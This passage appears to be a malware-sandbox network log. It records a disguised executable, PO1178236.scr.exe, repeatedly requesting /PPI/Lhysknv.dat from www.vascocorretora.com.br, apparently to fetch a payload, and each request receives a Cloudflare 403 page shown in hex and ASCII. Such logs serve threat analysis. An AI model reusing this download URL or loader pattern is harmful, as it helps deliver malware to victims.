2025-01-09 07:28:24 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:28:24 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 35 64 61 30 63 39 64 65 66 39 64 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b5da0c9def9d</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:28:24 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 35 64 61 30 63 39 64 65 66 39 64 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 77 4e 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b5da0c9def9d',t:'MTczNjQwNzcwNC4wMDAwMDA='};v
2025-01-09 07:28:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:25 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:25 UTC	999	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:40 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VUDT6O5AiBNjYMgI7hmm0290CQWs6lzTo9Bpz84Dmr5BBQau4VIgI04xMcqKMGNOLLvAbMV0zMiaryKG99g2PjBDrd1oetV1w8Piml1tphFDBfMkBNmduPremhu8BtNyF3COt0ofwmNAb2iT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b5ddddf90f9f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1481&min_rtt=1471&rtt_var=573&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1876606&cwnd=213&unsent_bytes=0&cid=54f009a71560889c&ts=138&x=0"
2025-01-09 07:28:25 UTC	370	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:25 UTC	1369	IN	Data Raw: 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 Data Ascii: itle><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-wid
2025-01-09 07:28:25 UTC	1369	IN	Data Raw: 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 2d 63 6f 6e Data Ascii: light"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha-con
2025-01-09 07:28:25 UTC	1369	IN	Data Raw: 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 35 64 64 64 64 66 39 30 66 39 66 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b Data Ascii: rder-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b5ddddf90f9f</strong></span> <span class="cf-footer-separator sm:hidden">•
2025-01-09 07:28:25 UTC	992	IN	Data Raw: 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 35 64 64 64 64 66 39 30 66 39 66 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 77 4e 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 6f 63 75 6d Data Ascii: _translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b5ddddf90f9f',t:'MTczNjQwNzcwNS4wMDAwMDA='};var a=docum
2025-01-09 07:28:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49738	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:25 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:25 UTC	1006	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:40 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RT0uc%2BFwXbd06wuD7saO9ZTVdGpFDtlhmLNAXym34gvDbkI1JN2bZs8YiivOlIX5MeGL0ldrhawLR%2Fm92mT8ow1K0xgBnIyvfZRA%2BLDTlp78o7Vx%2FW8wDXD7z0cqdhRGzGQh7KhM64m7CB88"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b5e18d8943c4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1560&min_rtt=1549&rtt_var=604&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1776155&cwnd=32&unsent_bytes=0&cid=eeba770695f4b5c2&ts=122&x=0"
2025-01-09 07:28:25 UTC	363	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:25 UTC	1369	IN	Data Raw: 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 Data Ascii: lare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=dev
2025-01-09 07:28:25 UTC	1369	IN	Data Raw: 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 Data Ascii: cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.capt
2025-01-09 07:28:25 UTC	1369	IN	Data Raw: 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 35 65 31 38 64 38 39 34 33 63 34 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 Data Ascii: left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b5e18d8943c4</strong></span> <span class="cf-footer-separator sm:hidden"
2025-01-09 07:28:25 UTC	999	IN	Data Raw: 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 35 65 31 38 64 38 39 34 33 63 34 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 77 4e 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 Data Ascii: dow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b5e18d8943c4',t:'MTczNjQwNzcwNS4wMDAwMDA='};var
2025-01-09 07:28:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49739	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:26 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:26 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:41 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=brVOCMF8pfNflqdjFQER4y2lbbjwLJiq4X2DAGLU0a1zh01WHOaFYvHeSGBz6XMdekMB%2Fu3Va6uAgZ8TFer8VcGU7MVJtrvSqcnh40%2B%2FJ%2FQNuxc%2BbfgCdrzlgoFDy8TLRo2tY23KlMceBbC6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b5e57836728f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1957&min_rtt=1949&rtt_var=747&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1449131&cwnd=159&unsent_bytes=0&cid=a58bb9c26fbd8552&ts=156&x=0"
2025-01-09 07:28:26 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:26 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:28:26 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:28:26 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 35 65 35 37 38 33 36 37 32 38 66 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 